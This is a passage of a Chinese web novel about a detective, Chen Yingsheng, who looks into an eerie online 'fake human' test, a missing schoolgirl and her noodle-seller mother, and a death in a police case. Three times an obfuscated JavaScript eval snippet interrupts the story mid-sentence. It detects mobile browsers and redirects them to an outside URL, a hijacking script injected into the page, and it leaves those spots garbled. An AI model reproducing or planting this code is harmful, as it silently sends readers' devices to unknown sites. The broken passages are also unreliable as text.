尽管像素不高,但这张照片终于能看清伪人女孩的长相,而不是刚刚视频里的惊鸿一瞥。 她的脸部像是被大面积烧伤过,留下整片疤痕,最古怪的地方是她的眼皮和嘴巴。 眼皮是人脸相对较薄的皮肤,在高温下容易最先受到损伤。 但人类如果没有眼皮保护眼球并维持眼睛湿润,可能导致角膜损伤甚至失明。所以她不是没有眼皮,她的眼皮被整个烧光后移植了别处的皮肤。 这是哪里的皮肤?陈影笙仔细辨别着。耳后皮肤或上臂内侧皮肤? 陈影笙不是专业的整形医生,无法准确地辨别皮肤来源,只知道重建后的眼皮看起来又厚又重,像是肥胖症患者夏天肚子上的赘肉般层层堆在眼球上。 最怪异的是她烧伤后再也无法愈合的嘴,她的嘴角似乎被无形的力量牵引,固定成一个既不欢乐也不悲伤的怪异弧度,仿佛是对世间万物的嘲弄,又似是对自身命运的接纳。 这张能品位出荒诞感情的笑脸给她非人的面容增添了一种人性,烧伤让她不像人,笑容又让她像人,很难用“伪人”两个字来简简单单地形容她。 陈影笙选择了伪人女孩的照片,照片下出现一个答题框,让简述选择原因。 【我不认为她是伪人,我认为她是位烧伤科病人。】 简短地打下这句话,陈影笙点击下一题,笔记本电脑中又传出机械女声: “再次重申,测试期间,除按动鼠标的手指外,禁止活动任何身体部位,严禁转动脖子及眼球,务必将视线集中在屏幕中间一点。如果附近有任何人类或类人生物发出的声音,请立即停止考试。” 陈影笙身后的柜子突然发出一声轻微的响声,像是柜子里的东西被碰倒了。 屏幕上下一组照片淡入进来,陈影笙仿佛突然失聪,对身后的柜子没有半点反应。 这组第一张照片是个长得有些滑稽的男人,适合去舞台上当笑星。第二张照片是一个和伪人女孩同龄的小男孩。 仔细一看,陈影笙发现男孩的脸是刚刚D.D.D.提供伪人特征时给的配图,不过刚刚的配图太模糊,只有一张脸,没有身体没有背景。 这男孩的脸和伪人女孩的脸一模一样,不如说就是从伪人女孩的脸上抠图下来,去掉疤痕,稍微美化一下,脸上的笑容丝毫没有变化。 陈影笙选择男孩,输入原因。 【他和上一组的女孩是同一人。】 一个黑影从两张照片前闪过,陈影笙对此有点麻木了,等黑影放大后她还是被吓到,因为黑影就是测试刚开始时的大小眼男人。 现在再称呼他为大小眼男人不太准确,因为他的两只眼睛相当正常。 他依旧是一副很忧郁的样子,披着一头半长不短的头发,两只眼珠向左边看。 他的左边是第二张照片,完全正常的伪人女孩。 伪人女孩脸上的烧伤疤痕完全不见了,连眼皮都恢复正常。 被烧光的眉毛部位是两条完美对称的毛茸茸的细眉,简直可以去给纹眉店铺打广告。 她脸上唯一不变也无法改变的是那荒诞的笑容。 似乎嫌陈影笙盯着她的时间太长,她旁边的忧郁男人动了动眼球,把眼球转到眼眶正中间,和屏幕前的人对视。 没有任何预兆,舒缓的背景音乐突然变得急促,两张照片慢慢放大,争抢着盖过彼此,像是要逼迫陈影笙做出选择。 这怎么选?两个都是板上钉钉的伪人。 陈影笙迫不得已,选择了伪人女孩。 两张照片都停止变大,机械女声愉悦地说:“以下是本次考试的最后一组问题,请认真作答。” 陈影笙绷紧脊背克制自己的恐惧。 屏幕上是摄像头中的她自己和坐在电脑前同样开着摄像头的伪人女孩。 26. 不愿报警的女人 光速切到后台打开隐私设置关闭摄像头,陈影笙才意识到自己早就关了无限局域网。 刚刚的画面不是她和伪人女孩在开着摄像头视频通话,只是游戏中的一个环节。 在隐私设置界面停留了一会,陈影笙回到游戏界面,机械女声熟悉的声音响起: “恭喜你成功通过本次考试,它,不,现在是她。她将为你带来思念之人,她会在一周之内找到你,公布你的考试成绩。” “如果不想被她找到,一周内不要出门,不要接电话,不要上网,也不要给任何人开门,包括你的亲人和朋友。” “祝你取得一个好成绩。” 测试结束。 陈影笙的手和小臂全都是冷的,不知道是因为恐惧,还是因为太长时间保持同一姿势。 她扣上笔记本,目不斜视地经过刚刚发出轻响的柜子,打开书房的门。 “你还好吧?”左絮飞笔直地守在门口,像是在站岗一样,他被陈影笙苍白的脸色吓了一跳。 “还行。”陈影笙手里的笔记本被他拿走,“你饿吗?和我一起去拿点吃的。” 左絮飞回头看了一眼黑洞洞的书房,跟上陈影笙的脚步。 陈影笙没把他带到厨房,而是把他带到客卧。 左絮飞左右看看:“这里哪有吃的?你家厨房在哪,我去给你拿。” “不用。”陈影笙微微打开窗,示意左絮飞过来看,“你要找到危险出来了。” 两人一上一下地把头凑到窗缝边,看见一个戴口罩的年轻女孩从大门匆匆跑出来,身手敏捷地翻过院墙。 左絮飞想喊住女孩,陈影笙眼疾手快地捂住他的嘴。 等身材瘦小的女孩跑远了,陈影笙才松开手,左絮飞静静地等一个解释。 “打开门的是她,刚才藏在书房的也是她。瞒不过你,我一进书房发现书架上多了书,知道她藏在柜子里。” “她把柜子里的书拿出来放书架上了?”左絮飞放下手里的笔记本。 “对,咱们在门口说话的时间很长,给她制造了机会,她找办法躲起来了。” 那女孩看上去还没成年,身高1米6左右,体型干瘦,齐肩的头发被绑成一束低马尾。 左絮飞叹了口气:“她是谁?” “我不能确定。” “谁信你不知道她是谁?”左絮飞生气了,“你这么护着她,她和你什么关系?” “别着急。”陈影笙赶紧说。 “我的意思是我不能确定,不是说我完全不知道。况且我不是骗你,你是警察,我怎么会骗你?这只是权宜之计。” “那你倒是说说你的权宜之计。”左絮飞还在生气。 “她是曙光菜市场米粉摊老板娘罗春喜的女儿,我认为罗春喜是伪人游戏受害者。” 左絮飞都气笑了:“这次不用‘应该是’和‘不能确定’了?” “应该用。”陈影笙补充,“但怕你生气,就不用了。” 这下左絮飞真的笑了:“你从头开始讲,我听着。你应该知道,就算她没偷东西,私闯民宅也是犯法的。” 陈影笙点点头:“从这儿往北走一公里有个老菜市场,罗春喜在菜市场里开了个卖米粉的档口,开了十多年。” “那家粉很有名,我吃过。”左絮飞有点惊讶。 “我没吃过,但知道她家粉很受欢迎。11天前,罗春喜晚上12点来到事务所,委托我一件事。” “米粉摊老板委托你?”左絮飞更惊讶了,“你这里看上去很贵。” 确实是这样,当初伯劳侦探把这栋小洋楼当作事务所,目的就是要给客户强且贵的第一印象。 “人家卖米粉很赚钱的,你不要小看她。但罗春喜进来就想走,而且她进门的时候我恰巧不在家。” 陈影笙的思绪回到新历98年12月22日的晚上。 那天她点完外卖,送外卖的小哥打电话说单行道停了辆车,把路口堵住。 小哥的电动车进不去单行道,停路边又怕罚款,他求陈影笙出来拿一趟,陈影笙爽快答应了。 从事务所到路口只有2分钟的路程,陈影笙没锁大门也没锁院门。 拿着外卖回来,陈影笙看见一个干瘦的中年女人站在大门前,正抬头看琉璃顶。 女人看起来40岁左右,她身材矮小,皮肤黝黑头发干枯,鼻翼宽大厚实,鼻梁深深塌陷下去。 她身上的穿着相当朴素,短款黑羽绒服配深色裤子,脚上踩着一双磨损严重的运动鞋。 陈影笙观察到,女人的袖子边缘沾染了一些油渍和白色的痕迹,可能是煮面或蒸米饭时不小心留下的。 假装没看出女人的紧张和局促,陈影笙很友好地打招呼:“你好,我是侦探陈影笙,是来咨询委托事项吗?进屋说吧。” 女人借着门口的光看清陈影笙后更紧张了,她身体朝门的方向倾斜着,简直像随时准备逃跑。 她用带着奇怪口音的普通话大声说:“我看门开着,以为你在里面,就直接进来了。” 陈影笙宽慰地笑了笑,不着痕迹地把女人挤进屋里,再自然而然地关上大门。 大案子要来了,陈影笙笃定地想。 “没关系,我们坐下说,是什么委托?怎么称呼你?” 女人支支吾吾的:“没、没什么事,我先走了。” “没有委托为什么进侦探事务所?其它事也可以和我说,先喝杯茶吧。” 女人的脸涨红了,她似乎连个谎话都编不出来。 憋了好一会,她才直愣愣地问:“你这里咨询不是按分钟收费吧?” 陈影笙差点把嘴里的茶水吐出来,硬生生把笑意忍下去:“咨询不收费,可以先把委托内容告诉我,我们再议价。” 女人还是一副磨磨蹭蹭、犹犹豫豫的样子。 陈影笙把茶杯往前推了推,坐在桌子后耐心等待。 从女人的穿着打扮和口音来看,她是外来务工人士,从事的可能是后厨帮工或个体经营类型的工作。 几乎每一次,与女人相似的体力劳动者找到侦探事务所,带来的都是大案子。 原因相当简单,他们的钱来之不易,每一分每一角都是用汗水砸来的。 即使部分人赚得不少,如果没有大事情,他们也不会来做“咨询”和“委托”这些听上去要花很多钱的事。 而且这种服务的定价完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13150124|137769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全掌握在卖方手里,更是让他们难以接受。 陈影笙的耐心得到了回报,女人用茶水沾了沾嘴唇,像是下了很大的决心:“你很有名,我在电视上见过你,你帮警察破案。” “过奖了,都是虚名。” 女人抬起头,直视陈影笙的双眼:“我就想问,你是不是每件事都要告诉警察?” 陈影笙不动声色:“不是的,我会以委托人的利益为本,尊重委托人的隐私。” 女人这才松了口气:“我接下来说的事,你不要报案,也不要问为什么不报案,我不需要报案。” “好。”陈影笙严肃地答应,桌子底下的手悄悄点开手机通讯录,通讯录第一行就是王锐斌。 “我女儿失踪3天了。” 手机被按下锁屏键,陈影笙也松了口气。 女人刚才的神态和语气像是要陈影笙陪着她去抛尸一样。 “怎么称呼你?你女儿多大了,叫什么名字,”陈影笙关切地问。 “我叫罗春喜,就在前面的菜市场卖米粉。”罗春喜才发现自己忘记自我介绍。 “我女儿叫罗莉娜,今年17岁,在七中读高二。” “孩子失踪可是大事,家里其他人也在找吗?” “家里没有其他人。”罗春喜回避陈影笙的目光,“只有我们俩。” 陈影笙理解地点头:“失踪前发生了什么事吗?” “莉娜说她不想上学了。”罗春喜的眼泪突然掉下来。 “她要在摊子帮我做事,我怎么可能同意,然后就......”罗春喜不愿意说了。 陈影笙帮忙补充:“就发生了一些肢体上的单方面冲突?” 罗春喜沉默着点头。 “具体是什么程度的冲突?她会不会因为带着伤不好意思去学校,才离家出走的?” “没到那种程度,我不会那样打孩子。”罗春喜赶忙解释。 先排除医院和药店,这两处不用去查。 再排除母亲家暴女儿不小心失手杀人的可能,把委托当成普通失踪处理。 陈影笙继续问:“是不是家里有难处,莉娜想早点赚钱,才不上学的?” “没有。”罗春喜老实地说,“不瞒着你,你看我穿的破破烂烂,其实每年能赚到这个数。” 她比了个手势,陈影笙配合地表现出惊讶佩服的样子。 “七中可是重点中学,莉娜成绩怎么样?” “我们家莉娜成绩不差。”罗春喜谈到这个明显高兴一点,“班主任说如果能保持下去,保底上诞师大。” “班主任和莉娜的朋友们知道她失踪这件事吗?” 罗春喜脸色难看:“我帮她请了假,没告诉学校失踪。” 是怕学校报警吗?陈影笙观察着罗春喜的神色,把疑问吞回去。 “她的朋友......”罗春喜的脸色简直可以用灰败形容,“我不知道她的朋友是谁。” “摊子每天都得有人盯着,我这种生意关一天门亏一天钱。菜市场那地方又乱得很,莉娜从小习惯自己在家呆着。” “明天我陪你去学校看看。”陈影笙保证,“放心,不告诉班主任莉娜失踪的事。” 27. 这不是游戏 新历98年12月23日早晨。 陈影笙和罗春喜来到七中,和罗莉娜的班主任见面。 她们用的借口是想给莉娜转学回老家,让家里的老人照顾。 班主任是位很好的老师,苦口婆心地挽留莉娜,给她们分析一堆留在诞江读高三的好处。 陈影笙做出一副欲言又止的样子:“我家莉娜在学校的人际关系......” “她和谁都相处得挺好呀。”班主任紧接着问,“是有什么问题吗?” “没什么问题,只是想找您了解一下。” 班主任笑了:“莉娜不会有问题的,她是个很有主见的孩子,也有自己的小脾气。” 陈影笙又去问罗莉娜的同学,同学嘻嘻哈哈地回答:“罗莉娜?她不霸凌别人就不错了!” 这句话引来周围一片笑声。 同学补充:“她没有霸凌别人,我只是想象不出她被霸凌的样子。” “她还有别的朋友吗?校外的朋友。” “校外的。”同学迟疑了一下,“有吧,蓝天的那几个。” “蓝天中学!”罗春喜尖叫,“莉娜怎么会和他们混在一起?” 蓝天中学在诞江是出了名的收底校,学校里的小混混们制造过不少都市传说。 同学被罗春喜吓了一跳,陈影笙赶紧把人拉走,然后又回来偷偷地问:“你知道莉娜去做什么了吗?” “不知道,她好几天没来学校了。”同学快速地向罗春喜的方向看了一眼,“她不会跟着他们去搞钱了吧?” 未成年小混混所谓的“搞钱”无非是在没有监控的小路上勒索同学。 极个别胆子大的会去偷电瓶,连偷手机的都少,敢偷手机的一般是从小干这个的。 陈影笙旁敲侧击地问罗春喜钱的问题,罗春喜坚定地否认,并说莉娜每个月拿到的零花钱在同学间属于中上水平。 上课铃响起,莉娜的同学们回到教室,她们在学校的走廊上漫无目的地乱逛。 罗春喜突然神秘地把陈影笙拉到一旁:“我昨天回家才发现,我有串手链丢了,是不是小混混偷的?” “什么样的手链,价值多少钱?” 罗春喜把手机里去年过年的照片翻出来:“一条银蓝珍珠手链,我不知道值多少钱。” 银蓝珍珠不算特别罕见的珍珠,但相同品相下肯定比白珍珠贵。 陈影笙双指放大图片,仔细观察手链,她产生新的疑惑:丢了贵重珠宝也不愿报警吗? 这个疑问最终没有问出来,陈影笙跟着罗春喜回到家中。 罗春喜租了老城里小巷子的平房,陈影笙先去看罗莉娜的房间。 这孩子的房间朴素极了,连套好点的衣服都找不出来,只有一双稍贵的运动鞋。 “手链丢之前被放在哪?”陈影笙问。 很快,她被罗春喜带到一间漏风的储物间,里面堆满了干米粉。 “把手链放这里?”陈影笙震惊了。 “是啊,放在这种地方都能被小混混偷走!”罗春喜狠狠地说,她认定了是小混混偷的。 放在这里还能丢,十有八九是自家人偷的。 罗春喜向放手链的柜子走去,被陈影笙拦住了。 地上和柜子上都有罗莉娜的脚印,那脚印挺特殊,一眼能认出来。 陈影笙避开偷字:“脚印是莉娜的,莉娜把手链戴走了。” 罗春喜大吼:“不可能,绝对不是莉娜偷的!你是不是为了骗我钱故意这么说的?你个骗子!” ...... “不是,你等等。” 陈影笙的讲述被左絮飞打断了,他一脸怀疑地看着陈影笙:“一双鞋和一堆脚印,你能确定是罗莉娜偷的?” “靠痕迹学判断的,新历后痕迹学被高科技和超能力取代了,其实挺有用的。”陈影笙解释。 “脚印的长宽能估计嫌疑人的身高和体重,脚印的压力分布能推测嫌疑人的步态、姿势和健康状况。” 左絮飞眯眼看着她:“进门前院墙上也有吧,你认出来了,就是不说。” “被你发现了。”陈影笙面不改色,“对不起,下次一定告诉你。” “你还让猫把鞋印踩没了。”左絮飞越想越生气。 “拉屎布偶自己跳上去的。”陈影笙辩解。 左絮飞感到疲惫:“算了,你继续讲,罗春喜指责你骗她,之后呢?” “我不想和她争吵,反正她付过一部分钱了。我正想转头走人,罗莉娜顶着一个巴掌印回来了。” “银蓝珍珠手链呢?”左絮飞问。 “被罗莉娜一起带回来了,我刚想问问发生了什么,罗春喜看清女儿脸上的巴掌印,抱着女儿放声大哭。” “罗莉娜倒是没哭,她问我是谁,为什么来她家,给我拿了钱,让我快点走。” 左絮飞追问:“然后你就走了?” “我问罗春喜委托还继续吗?罗春喜说不用,我当然不查了,我听委托人的。” “这和你今天帮罗莉娜掩护有什么关系?”左絮飞的目光锐利了起来。 手机响了一声,陈影笙没去看:“4天前罗春喜再次找到我。” 新历98年12月31日晚。 那天晚上她约了一个委托人见面,刚把委托人送走,她看见路口有人鬼鬼祟祟地往事务所方向张望。 一开始,她以为是好事的自媒体记者想找个大新闻。 等人走近了,她才发现来的是罗春喜。 罗春喜这次穿得很体面,但精神依旧不太好,看来和女儿的关系并没有缓和多少。 “莉娜又离家出走了?”陈影笙仿佛忘了8天前罗春喜对她大吼大叫的事,立刻关心起莉娜。 “不是,我就是......路过这里。” 陈影笙邀请罗春喜:“进来坐坐吗?” 进入事务所,罗春喜的屁股刚沾上椅子,眼泪就掉了下来:“莉娜一直不去上学。” “那天莉娜回家,我一狠心把摊子全扔给她管,想着让她吃点苦,她就回去读书了。” 陈影笙递过去一盒抽纸,配合地问:“结果呢?” “结果她不停地煮米粉,越煮越快乐,甚至有熟客说她煮得比我好吃。” “她还边搞什么直播边煮米粉,手机拍到我,有人说你妈好歹在旁边帮忙写写作业啊。” 罗春喜响亮地擤鼻涕。 “......”陈影笙挺服气的。 其实陈影笙很想说,莉娜喜欢煮饭经营摊子,就放手让她去做。 做一段时间再告诉她,如果能考上大学读相关专业,可以做出更好吃的饭, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161353|137769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学习成熟的商业经验,把自家米粉摊开成连锁店不是梦。 可惜罗春喜肯定不爱听这种话,陈影笙只能劝道:“这个年纪的孩子都有自己的想法,要不找个合适的时间和她聊聊?” “我试过了,可莉娜不愿意和我闲聊,她总是在玩同一个游戏,收摊后不管多晚都要玩一遍。” “有一次我给她送水果吃,想看看她玩的是什么,被她大吼着赶走了。” 陈影笙问:“什么游戏?” “不知道。”罗春喜摇头,“我不懂游戏,就看见屏幕上有两个人的照片,俩人都长得跟鬼似的。” 半个月前有个伪人游戏爆火,和罗春喜描述的有点像。 但陈影笙听说那是款恐怖游戏。 恐怖游戏普遍是一次性游戏,可玩性全靠玩家首次体验时的心理冲击和未知因素带来的紧张感恐惧感,不值得莉娜反复玩很多遍。 罗春喜的眼睛亮晶晶的,带着不符合她外表和年龄的期冀,她语调上扬:“如果我也去玩游戏呢?” “我看莉娜操作过,就是动动鼠标,这个我会。” 肉眼可见的,罗春喜高兴起来,她似乎在幻想自己玩完游戏后和女儿有了共同语言,无话不谈的样子。 陈影笙放弃了委婉的语言艺术,立刻严肃阻止:“未经莉娜同意,用莉娜的电脑玩游戏不会让她高兴。” 罗春喜不以为然:“电脑还是我给她买的呢!” 又尝试着劝了几句,没有任何效果。 最后,陈影笙只能说:“最好别用莉娜的电脑玩。” 至于罗春喜听没听进去,陈影笙不得而知。 新历99年1月2日早晨,也就是昨天,罗莉娜跑到侦探事务所,急吼吼地拍门: “喂!是你让我妈去玩的游戏吧?” “什么游戏?”陈影笙平静地问。 “别装傻了!” 罗莉娜眼圈微微泛红。 “我知道她找过你,想让你把我劝回学校,肯定是你给她出的主意!” 陈影笙套上大衣准备出发:“所以是什么游戏?你妈妈怎么了?走,带我去看看。” 罗莉娜冷静一点:“你真不知道?” “走啊,出什么事了?我帮你,知道你们不想报警。” “没什么事。”罗莉娜完全冷静下来。 “没事你大早晨来事务所找我?这样吧,和你说实话,就是我让你妈偷你电脑玩游戏的,我要对此负责,告诉我你妈妈怎么了。” 罗莉娜脸上写着“鬼才信你的话”,不过她情绪平稳后意识到自己做的不对,开始道歉: “对不起,是我误会了,大早晨的打扰你。” 她和她妈妈身上有太多秘密,陈影笙很好奇:“没事,我不怕打扰,到底发生了什么事?” “什么都没发生,我得回家预处理食材了。”罗莉娜低下头,“有时间来找我吃米粉,我请你。” 她低着头转身向外走,走到门口突然停下:“我知道你是名侦探,你见过能隔着屏幕杀人的超能力吗?” 陈影笙愣了一下:“没见过,你是在说前段时间很有名的伪人游戏吗?” “你也觉得那个测试只是游戏啊。” 罗莉娜的声音轻得无法落地,她飘出大门,没给陈影笙进一步询问的机会。 28. 情况突变 “这就是我知道的关于罗春喜和罗莉娜的所有事。” 左絮飞听完凝重地说:“那个测试确实不像游戏,它没有游戏界面,也不在游戏平台上架,听李颖姐说最开始是以网盘的形式传播的。” 他问:“罗莉娜今天闯进你的事务所做什么?” “我不知道,十六七岁的小孩想法都很怪,她甚至不愿意和相依为命的妈妈说自己的事,我不觉得她能把事情告诉我。” 陈影笙的手机又响了,她低头看了一眼。 “所以你把她放走,以此来抓住她的把柄?”左絮飞站起来。 “那不是把柄。”陈影笙不赞同地说,“我只是觉得她年纪轻轻就守着那么多秘密,看起来很累,想帮她分担一下。” 左絮飞对陈影笙美化自己行为的说法很无语:“我会把今晚所有事向王队汇报。” “当然。”陈影笙不放心,“罗莉娜那边你们不要打草惊蛇,我去试探一下,后续有进展会跟老王沟通。” “目前看来,即使罗春喜真的玩游戏玩出问题,她们也不会报警,为什么不报警?”左絮飞想不通。 他打开客卧的门,“我先回队里了,你有什么发现一定要联系我。” “肯定联系你。”陈影笙抬头看墙上的表,“快一点了,你怎么回去,要不我开车送你?” 左絮飞摆摆手:“不用不用,这路不远,不麻烦你,你去休息。” 陈影笙站起来掏钥匙,俨然一副要开车把他送回去的架势,左絮飞连忙推让。 两个人站在小院子里,很是表演了一番虚情假意的客气,最后以陈影笙给他从网上打车回超管局告终。 他们并肩走出大门,陈影笙一抬头就看见门口停着一辆显眼的黑色保时捷。 这车擦洗得锃光瓦亮,却半死不活地骑在人行道上,停得七扭八歪。 顺着她的目光望过去,左絮飞也一眼看见这辆保时捷,保时捷贴着严严实实的防窥膜,倒是看不见里面有什么人。 左絮飞用下巴指了指车,问她:“怎么,认识?” “客户。”陈影笙简单又含糊地回答。 左絮飞回头看了一眼门上的招牌——幻忆师侦探事务所。 他恍然大悟:“上车点定位在路口,我自己过去就行,你别送了。” 没再和他瞎客气,陈影笙点了点头,斜靠在门边,目送他离开。 直到他连影子都消失在单行道的转角,保时捷里才下来一个人。 这是一个面相凶恶到令人害怕的中年男人,秃头大肚子一嘴黄牙,陈影笙似笑非笑地看了他一眼,转身带他往里走: “大老黄,你躲车里抽烟呢?连个窗户缝都不开?上次那个委托有这么急吗,值得你大半夜跑一趟。” 大老黄赶紧跟上,一边搓手一边乐:“大小姐哟,我这不是看您家里来且了吗?” “来且了”是东北话,意思是家里来了客人。陈影笙沉默不语,带着他到一楼办公区坐下,客气地倒了杯茶往大老黄那边推了推。 眼看自己的话没人接茬,大老黄也不尴尬:“您这儿总来这些个人物,我看见了不得避一避?不能给您添麻烦啊。” “能被你一眼看出来路的,在你那儿就算不上什么人物。”陈影笙似模似样地恭维他。 大老黄很给面子地哈哈大笑,笑得眼角堆起褶子,然后开始不停地唠叨他之前的委托。 左絮飞没穿超管局的制服,还是被人一眼认出来了,陈影笙对此一点也不惊讶。 常年在一线基层和犯罪分子打交道的公职人员身上都有一种说不清道不明的强悍“匪气”,这种匪气和那些真正的匪类又不一样。 其中的区别外人可能搞不明白,他们自己人隔老远闻着味儿就能知道。 很不幸的是,大老黄就是“真正匪类”中的老东西。大老黄姓黄,他具体叫什么,道上知道的已经很少了,只知道他是东北人。 陈影笙小时候隐约听陈途提起过他的名字,记得音同黄二麦,至于是“二麦”还是“二卖”不得而知。 在大老黄还是小黄的时候,他就出来混社会了,18岁时替老大去坐了5年牢,出来后继续在老大手底下干活,却卷入了另一场谋杀案中,差点再次替人顶锅,幸好通过案子结识了陈途,终于沉冤得雪。 没了一个老大,小黄完全不知道谁来罩着他,他干脆单方面认了陈途当老大。 但他洗去冤屈不代表他能立刻变成一个好人,或者说,他就没法做个好人。 陈途劝他去找个正经点的营生,他跑去当了外汇贩子,天天蹲银行门口骚扰人家的储户。 再后来,他在银行里有了门路,手头也攒点活钱,便注册了一个破公司专门低价收购当地中小银行的债权,收拢了一批混混干起暴力催收的活计。 这种在官面上身份很脏的人总有需要用到私家侦探的时刻,更何况是伯劳这样的侦探。 伯劳没了,他自然而然地找上了伯劳的后继者,他从前管陈途叫大哥,现在怪模怪样地管陈影笙叫大小姐。 大老黄絮絮叨叨地:“......所以真是钱难挣屎难吃,谁都不好干啊,我们这行也不好干,这种穷逼十万八万都还不上,怎么还有人替他出头?真他/妈的活见鬼!” 说到这里,大老黄愤愤地掏出一包烟来,先从盒子里咬出一支,再习惯性地往前一递。 他抬头看了一眼陈影笙,讪讪地把手缩了回来,他忘了陈影笙不抽烟。 大老黄叼着烟,打着火,模糊地发问:“我的大小姐,拜托您查的那穷/逼小子,您有信吗?” “您要有就给个准话,委托费我照给,这份人情我老黄也记着,以后有用得上我的地方您一定喊我。” “知道您这是正经生意,查这个不容易,但除了您别人也没这个本事查......” 从桌子上的文件夹里抽出一叠纸,陈影笙不耐烦地打断了他:“你夜路走多了,撞上鬼了。” 看着递过来的那份文件,大老黄眼睛一亮,立刻上手去接。 陈影笙没有松手。 似乎才想起什么,大老黄哈哈笑着从松松垮垮的西装裤口袋里摸出钱包,抽出一沓钱来:“现金,现金,你们年轻人那个扫码付款我不会。” 陈影笙这才掀起眼皮看了看他:“把烟掐了。” 她松开文件,接过钱,数都不数就胡乱塞进抽屉,抬手向上指了指:“刚擦得干干净净,别给熏黑了。” 大老黄真就把烟灭了,他顺着陈影笙的手看向天花板,看到了彩色的琉璃,老式吊灯柔和的光被琉璃反射到他脸上,把他照 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13176483|137769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得眯了眯眼。 陈影笙靠在旋转椅上往下滑了滑,她慵懒地将头枕在椅子的靠背上,睁大眼睛看着琉璃顶:“在这儿看,看完再走。” “不能带走?”大老黄惊讶,他一边翻文件一边啰嗦,“每次来我都想说,这么大气的吊顶每年得花不少钱保养吧?” “我爸说我妈喜欢,所以留着。” 大老黄叹了口气。 一时间,屋子里只剩下大老黄翻动纸页的哗哗声,那几页纸被他翻来覆去地看了好几遍。 过了一会,他终于抬起头:“就这?这有什么不能带走的?” “废话,人家世纪互娱的商业机密。” 大老黄把文件握成卷啪啪地拍在手掌心:“就为了从他手里买个版权?他们这么费尽心思地讨好他?” “仨小时前,我那几个上门讨债的崽子全被他们的人给算计了!被录音录像,还被套出底细,不争气的东西!” “都说了你夜路走多了总会撞见鬼。” 大老黄表面上看是个粗人,其实是个仔细人,他收债权前有自己的调查渠道。 这次不知怎么看走了眼,本以为欠钱的是个没根基的穷小子,结果突然有人给他撑腰。 “唉。”大老黄重重地叹气,“我真是老了,这个什么......什么,真能卖很多钱吗?” 从旋转椅上坐起来,陈影笙给自己倒了杯水:“IP,那个叫做IP。” “对,就是这个矮屁,能赚钱?” “不好说,我没查出是什么IP,毕竟这个写手以前没什么名气,他但凡能写点好东西也不会沦落到被上门催债。”陈影笙平静地喝了口水。 她把文件从大老黄手里拿回来:“少这十万八万饿不死你,你别惦记他了。再说了,你这把年纪为什么还做时不时会撞鬼的活?” 大老黄苦笑:“我是饿不死,底下的崽子们要吃饭啊,他们肚皮大气性也大。” 这下陈影笙没再和他客气:“进去吃牢饭气性就不大了,世纪互娱这种大家伙,背后的人咱惹不起。” “论辈分我得管你叫小叔叔,说真的小叔叔,这笔债别催了。” “尤其是你那个催法,太容易结仇。他能被世纪互娱看上,马上就发达,等他有钱了再客气点要债,反而有戏。” “这个世纪互娱那么厉害?老板是谁?”大老黄若有所思。 陈影笙拿起一个苹果慢慢削皮: “老板是谁不重要,明面上能看见的都是白手套。这公司为了避开外资管制,都在境外上市了,论玩阴的他们比你厉害,你先想想被录的暴力催收视频怎么办吧。” “怎么办?”大老黄哈哈大笑,“大侄女,我混到现在唯一的优点就是能屈能伸!” 末了他幽幽地问:“这个投资IP,你说他们能让我加入吗?” “那得看——”陈影笙的话被一阵手机铃声打断,她拿出手机看了一眼,竟然是王锐斌的来电,“不好意思接个电话。” 大老黄隔着办公桌用殷切的目光看她,她先把通话声音调到最小,再接起电话。 “小陈,是我,你没睡吧?我让小左去接你。”王锐斌急切的声音从手机里传来。 “怎么了?”陈影笙放下手里的苹果。 “任珊珊死了。” 29. 她要来了 新历99年1月3日晚10:11 马雨双是名年轻的超能力刑警,她的超能力叫做短距离瞬移,普适性极强,毕业后就进入诞江市超管局。 刚才,她全程目睹侦探幻忆师破解刘天怡的万花筒。 在幻忆师道破任珊珊身份后,马雨双被队长王锐斌安排随队一起到诞师大逮捕任珊珊。 警车刚出现在诞师大,立刻被校门口的媒体发现了,不少记者挤上前询问感应性精神病事件,还有家长问什么时候解封。 在学校的安排下,他们突破人群的包围,进入学校直奔宿舍楼。 “别动!超管部执法!” 本案中任珊珊身边疑似有数名身份不明的超能力罪犯,马雨双一队人在保证其他同学安全的前提下迅速逮捕了她。 他们破门而入时,任珊珊没有反抗,也没有反应,屋内更没有她的同伙。 她只是斜倚着床上的一个靠枕,宛如一个病入膏肓的病人。 “我快要死了。”任珊珊突然说,她一眨不眨地看着马雨双给她铐上手铐。 她所在的寝室自然不是刘天怡死亡的寝室,即使封校了,学校考虑到她们的权益,也不会让她们住在刚刚死人的寝室。 另外两名室友吓得像鹌鹑一样,瑟瑟发抖着缩在角落,同队的一位女警低声安慰她们,并表明她们也需要做笔录。 任珊珊戴上手铐,顺从地下了床,又重复了一遍: “我快要死了,她要来了。他们不救我了,你们救不了我。” 